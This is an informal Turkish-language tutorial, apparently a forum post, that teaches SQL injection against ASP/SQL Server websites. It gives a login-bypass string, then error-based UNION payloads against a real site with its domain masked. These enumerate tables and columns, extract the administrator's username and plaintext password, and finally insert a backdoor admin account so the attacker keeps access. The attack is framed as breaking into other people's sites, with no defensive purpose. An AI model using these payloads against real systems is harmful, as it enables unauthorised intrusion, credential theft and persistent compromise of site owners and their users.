SQL Dökümanı
Sql injection en garanti hack yöntemlerinden biridir ve bi kalıbı yoktur. tamamen hackerin çabasına bağlıdır. her sitdede sql injection tekniği değişir. yani ezberleyerek yapma imkanınız sıfır. ama mantığını kapabilirseniz. sql injection u çok kolay yapacaksınız
bide sql injection her sitede işler mantığı yanlıştır. sadece sql açığı olan sitelerde geçer. ve maalesef çoğu sitede bu açıklar mewcuttur. pnp nuke ,phpbb, vbulletin gibi önemli sistemlerin son versiyonlarında bile bu açıklar saptanmış vede kullanılmıştıur. bu ve benzerlerinde hala keşfedilmemiş sql açıkları olduğpundan hiç şüpheniz olmasın.
inşallah bu yazıyı dikkatli okuyan herkes sql injection işini yapamasada matığını kapacaklardır.mantığını kaptıktan sonra iş pratiğe kalıyor. uğraşıp denyeceksiniz. mutlaka er yada geç bu işi yaparsınız. dediğim gibi iş mantığını kapmakta.
şimdi ilk önce sql den başlayalım.
Sql nedir?
arkadaşlar sql bir weritabanı değildir. veritabanı programlama dilidir. bunu ilk önce bilelim.
mesela phppnuke de nuke.sql diye bi doya wardır. bu sql ile yazılmış bir weritabanı wardır. içine tablolar wardır. mesela sen phpnukeye user ve pas. ını yazıp login olduğunda sql areacılığıyla site nuke.sql veritabanında users tablosuna (tablo adını attım) bakar. girdiğin kullanıcı adı we şifre uyuşuyorsa giriş yapar. değilse hata verir. yani sql dili aracılığıyla weritabanıyla kullanıcı arasında ilişki kurar.
biz bu ilişkideki açıkları kullanacağız. en yaygın kullanılan veritabanları microsoft sql ve unix mysql dir. sql hakkında bu kadar önbilgi şimdilik yeter.
şimdi sql de sorgulamalar (yani veritbanı ile bağlantılar) nasıl yağılır onu inceleyelim.
Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve bu kodlar webmaster tarafından yazılır.
Bir alışveriş sitesinden mesela ASUS marka notebook’ları göstermesini istediğimizde aslında bir sorgulama yapmış oluruz, ancak bu sorgulamayı bizim yerimize asp ya da php kodları yapar.yani mesela arama kutucuğuna asus yazıp ara dediğimiz zaman asp veya phpo sayfası veritabanına şöyle bir sorgu gönderir : git markalar tablosundan marka_id=asus olanları seç listele getir. (bu kodlar tabiki bu şekilde türkçe değil sql dilinde olur :-) )
şimdi sql injection a bi giriş yapalım.
sql injection yaparak amacımız bu tür sorguları asp veya php kodlarını otomatik olarak girmesi değil de kendimiz manuel olarak girmeyi amaçlıyoruz.
mesela bi siteye şöyle bi sql sorgusu gönderiyoruz : eyy sql denen şey git bana users tablosundan user_id=admin olan kullanıcıların password sutunundaki bilgileri listele getir. oda bize site adminin şifresini gwetirir. :-)
şimdi hangi sitelerde sql açığı war bunu nasıl öğrenebiliriz onu incelşeyelim.
normalde rastgele bi sitede direkt böyle bir sql sorgusu gönderirsek sonuç alamayız. açığı olan bi site bulacaz. nasıl. tabiki siteleri deniycez. siteye saçma salak bir sql sorgusu gönderecez o da haliyle bize bi hata mesajı werecek. biz bu hata mesajını inceleyip içinden bazı ipuçları bulmaya çalışcaz.
mesela örnek werirsek bi sitede kullanıcı girişi yapılan bölüme kullanıcı adı ve şifre bölümüne ’ or 1=1-- yazalım enter diyelim. sitede sql açığı warsa şöyle bi hata vermesi lazım :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'users' to a column of data type int.
/index.asp, line 11
ewet böyle bi hata aldık. bu bizim için çok iyi bi gelişme.
şunu merak ediyosunuzdur büyük ihtimalle biz neden bunu yaptık neden sitenin hata wermesi bizim için iyi bi gelişmedir. manyak mıyız biz :-) (cewap: hayır değiliz.)
bunu yapmamızın sebebi arkadaşlar ahat mesajını incelerseniz göreceksiniz. hata mesajında birtakım bilgiler açığa çıkmış durumda.
biz dedik ki yani giriş şartı hiç bişey olsun veya 1=1 durumları olsun (1 her zaman 1 e eşit olduğundan herzman bu komut çalışır- hile yaptık yani)
verilen hata mesajının türkçesi şu:
users tablosunda eşleştirme yapmak için geçerli bi değer girmediniz.biz user ve şifre girince sql weritabnında tabloda karşılaştırıyodu ve doğruysa giriş yapıyodu ya. işte girdiğimiz ’ or 1=1-- değeri geçerli değildir diyo. sql da ' tırnak işareti geçerli bir değer değildir. bu yazdığımız değer çok eski bi sql açığıydı bunuda söyleyelim.
ewet şimdi kullanıcı adlarının users adında bi tabloda saklandığını öğrendik. bu çok işimize yarıycak.
ewet aklınız karıştı galiba minik bi örnek werelim şimdi.
mesle sitede 'urunler' adlı bi tablo war bu tablodan 'kitaplar' adında bi iç tablo war. biz burda 'urunler' tablosundaki kitaplar tablosundaki bütün kayıtları seçmek için sql de şöyle bir komut kullanırız.
SELECT * FROM urunler WHERE urunID=’kitaplar’
biz kitaplar adlı tablodan haberdar olmadığımız için şöyle bir komut girersek:
SELECT * FROM urunler WHERE urunID=’’ or 1=1--’
yani urunler in içinden urun id si boş olan veya urun id si 1=1 eşitliğini sağlayan tabloyu getir diyoruz.
her şartda 1=1 olduğundan sql fake mizi yedi we yeni bi hata mesajıyla hiç bilmediğimiz tabloların adını bize sunacaktıur :-)
arkadaşlar şimdi adım adım sql injection yapalım.
şimdi bi site seçicez kendimize weritabanı kullanan bi site olması lazım.
Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım, ancak domain ismini xxx ile değiştirdim.
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
gördüğünüz gibi sql komutları sayfanın adresinin sonuna enjekte edilir. users.php?id=42 gibi ifadelerin sonuna yazacaz komutlarımızı. sql komut mantığı böyle çalışır.
şimdi anlatalım biz burda ne komutu verdik:
INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz. Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık. INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve en üstteki tabloyu sorgulatmaya çalışıyoruz.
UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için" şöyle bir hata verecek.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar güzel bi hata aldık :-)
bu hatayla biz tablodaki en üstteki tablonun adının adams olduğunu öğrendik.
geri kalan tabloları da aynı mantıkla öğrenecez. ama tek tek hepsine komut göndermek uzun iş. şöyle bir komut gönderelim:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’--
bu komutta biz git tablolardan ismi admi veya ona benzeyen bi tablo bul getir dedik.
ve şöyle muhteşem bi hata alıcaz:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
ewet fewkelade bir hata aldık :-)
artık adminlerin ve moderatorların saklandığı tablonun adının admins olduğunuda biliyoruz.
şimdi şu komutu gönderelim:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--
burda da admins tablosundaki ilk sutunun adını sorduk. şöyle bi hata aldık:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3güzell. ilk sutun logonid . mutlu sona yaklaşıyoruz :-)
şimdi diğer sutunlarada göz atalım. şu komutu gönderiyoruz:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--burda logon id den sonraki ilk tablonun adını sorduk. şu hata msjı geldi.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3
diğer sütunun adı da logon muş.
bu şekilde dewam edersek tüm tabloların isimlerini bulabiliriz.
diğer sutunlarımızda password ve details olsun.
şimdi sutunları öğrendikten sonra kafamızda canlandıralım weritabanını.
admins diye bi tablo warmış. bunun içinde yöneticilerin bilgileri warmış. bilgiler logonid logon password ve detail bilgileriymiş. sonra kırmızı başlıklı kıza anneannesine giderkene.. öhö öhö dalmışım
neyse şimdi tabloları öğrendiğimize göre içinde cirit atabiliriz şöyle bi komt yazalım:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 logon FROM admins--
bu komutta admins tablosunun ilk kayıtındaki logon bilgisini bize gewtir dedik. ve hata şöyle:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’johny’ to a column of data type int.
/index.asp, line 5
ewet adminimizin kullanıcı adı johny imiş.
şimdi şifre için şu komutu giriyoruz:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 password FROM admins where logon=’ johny ’--
bu komutlada admins tablosunda logon bilgisi johny olan kaydın password bilgisini getir diyoruz. şöyle bi manzarayla karşılaşıyoruz:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar. admin şifresi tabak gibi yazıyo: aeE2DbU :-)
şimdi siteye admin girişi yapabiliriz.
adam çakarsa şifresini değiştirebilir. bunun önlemi,ni almak için admin tablosunda yeni bi kullanıcı oluşutuyoruz. şu komutu kullanıyoruz:
http://www.xxx.com/index.asp?catid=3; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’admin’,’admin’,’NA’)--
ewet artık sitede kullanıcı adı admin ve şifresi admin olan bir admin daha var...